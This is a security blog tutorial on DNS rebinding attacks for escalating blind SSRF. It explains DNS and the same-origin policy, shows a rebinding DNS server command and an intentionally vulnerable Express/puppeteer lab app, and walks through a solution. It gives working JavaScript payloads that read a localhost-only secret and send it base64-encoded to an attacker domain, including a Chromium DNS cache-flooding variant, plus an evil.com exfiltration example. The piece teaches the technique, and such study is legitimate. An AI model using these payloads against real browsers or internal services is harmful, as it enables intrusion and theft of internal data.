\x00 - TLDR;
DNS Rebinding is a great technique to level up blind SSRF attacks.
In this article I go step by step on what is a DNS Rebinding Attack, how to configure your own server, exploit a demo app, and what to do in case the browser ignores the TTL flag.
\x01 - Little Bit of Theory
DNS 101
The Domain Name System (DNS) is how the internet knows to connect human-readable domains to IP addresses.
As domains are everywhere on the internet, the DNS is heavily related to caching mechanisms.
DNS caching can be found inside the OS, browser, and dedicated DNS cache servers through the web.
How does one know for how long to store a DNS cache record? Using the Time To Live (TTL), the DNS query response tells the cache for how long the record will be valid.
Here is a good detailed resource: https://www.cloudflare.com/learning/dns/what-is-dns/
SOP 101
The Same-Origin-Policy (SOP) is a web browser security mechanism that prevents resources from one origin to access resources from other origins.
To make it short, if you have a script under the "evil.com" domain, the following code will send a request to "victim.com", but won't be able to access the response and export the data:
<html>
<script>
function stealInfo() {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
//This will fail, xhr.responseText will be empty
fetch("http://evil.com/export?e="+btoa(xhr.responseText));
}
}
xhr.open("GET","http://victim.com/secret");
xhr.send(null);
}
stealInfo()
</script>
</html>
To be SOP compatible you need to have, the same domain, the same scheme (HTTP/HTTPS), and the same port.
Here is a good detailed resource:
https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy
The DNS Rebinding Attack
The attack takes advantage of the fact that we can control the TTL flag and the DNS record to trick a web browser:
For the first DNS query on "evil.com", we return back to the victim our own IP address and a short TTL (1 second).
Then inside our payload script, we will fetch a resource from "evil.com/internalSecret".
As the TTL already expired, the victim browser will perform another DNS query, which now will be resolved to a local IP address.
As a result, from the browser perspective, the local host and our server are under the same domain - which allows us to bypass SOP restrictions and export information.
\x02 - In Practice
Configuring NS Record
In order to present the victim with our DNS record, it is needed to register an NS record under our domain.
Here is a good detailed resource:
https://www.cloudflare.com/learning/dns/dns-records/dns-ns-record/
I am using Namecheap as my domain registrar, inside my domain configurations I will insert the following record:
When a DNS query will be performed for <anything>.rebind.<redacted>.me the client will receive an NS record that tells him to look for the IP address on a DNS server under my IP address.
Setting the DNS Server
This part is actually pretty easy - there are a lot of python DNS server scripts out there, and some of them even have rebinding features, I am using DNSrebinder.
Let's check all is working: python3 dnsrebinder.py --domain rebind.<redacted>.me. --rebind 0.0.0.0 --ip <yourIP> --counter 1 --ttl 0 --tcp --udp --port 53
Amazing! On the first DNS query test.rebind.<redacted>.me got resolved into my server's IP and on the second query into localhost IP.
And we are basically done, now demo time.
\x03 - Breaking the SOP
Demo App
For demo sake I have created a vulnerable app:
const express = require("express");
const app = express();
const puppeteer = require("puppeteer");
/*our bot that will blindly follow our orders*/
const vulnerable_bot = async (navigateTo) => {
const browser = await puppeteer.launch({headless: true, args: ['--no-sandbox']});
const page = await browser.newPage();
await page.goto(navigateTo);
await page.waitForTimeout(65000);
await browser.close();
};
/*endpoint containing super cool secrets*/
/* the filter will prevent any non-localhost user to get the secret */
app.get("/l33t_secret",(req, res) => {
var ip = req.socket.remoteAddress;
var indexOfColon = ip.lastIndexOf(':');
var ipv4 = ip.substring(indexOfColon+1,ip.length);
if(ipv4 !== "127.0.0.1") {
res.send("Go Away You Evil Hacker");
}else{
res.send("SECRET{TheKeyIsUnderTheMat}");
}
});
app.get("/searchbot", async (req, res) => {
var navigateTo = req.query.url;
vulnerable_bot(new URL(navigateTo));
res.send("Our advanced bot will take care of your task now");
});
app.get("/", (req, res) => res.send("DNS Rebinding lab"));
app.listen(80, () => console.log('DNS Rebinding Basic Lab Started at Port 80'));
While stored on a remote server any attempt to access "/l33t_secret" from the internet will be blocked.
There is a bot vulnerable to SSRF, but the issue here is that no response shows back to the client, fetching the secret using JavaScript is blocked by the SOP.
Payload No. 1 - What Should've Worked
Let's try to execute the following payload, with our DNS rebinding server active:
<html>
<script>
function fetchSecret() {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch("http://<redacted>.me:80/export?e="+btoa(xhr.responseText));
}
}
xhr.open("GET","http://pwn.rebind.<redacted>.me:80/l33t_secret");
xhr.send(null);
}
fetchSecret()
</script>
</html>
Huh? Why do we get only one DNS query?
The answer to that can be found here - Chromium ignores the given TTL and caches the hostname for 60 seconds.
We can wait 60 seconds (if the headless browser allows it), but there is a much cooler option!
Payload No. 2 - Rebinding with Cache Flooding
The chromium cache table has limited space, meaning if we submit tons of new domains it will resolve them until the space will run out - that the Chromium will start deleting old records wiping our original hostname from the cache!
The new payload should look like that:
<html>
<script>
/* a function to extract the secret */
function fetchSecret() {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch("http://<redacted>.me:80/export?e="+btoa(xhr.responseText));
}
}
xhr.open("GET","http://pwn.rebind.<redacted>.me:80/l33t_secret");
xhr.send(null);
}
/* a function to flood the DNS cache */
function flush() {
const start = Math.ceil(Math.random() * 2 ** 32);
const maxIter = start + 1000;
for (let i = start; i < maxIter; i++) {
let url = "http://"+ i + ".rebind.<redacted>.me:80/fake";
fetch(url, {mode: 'no-cors'});
};
}
/* set timeout that will execute the secret extraction after the flush ended */
setTimeout(fetchSecret,30000);
flush();
</script>
</html>
That's more like it! We got two DNS queries and the second one resolved to localhost IP, now let's check up on the server:
Noice! Base64 decode it and:
Amazing right? Of course, there are more hurdles in the wild (some of them I will be covering in the future I hope) but regardless - now you are ready to boost your SSRF attacks even further!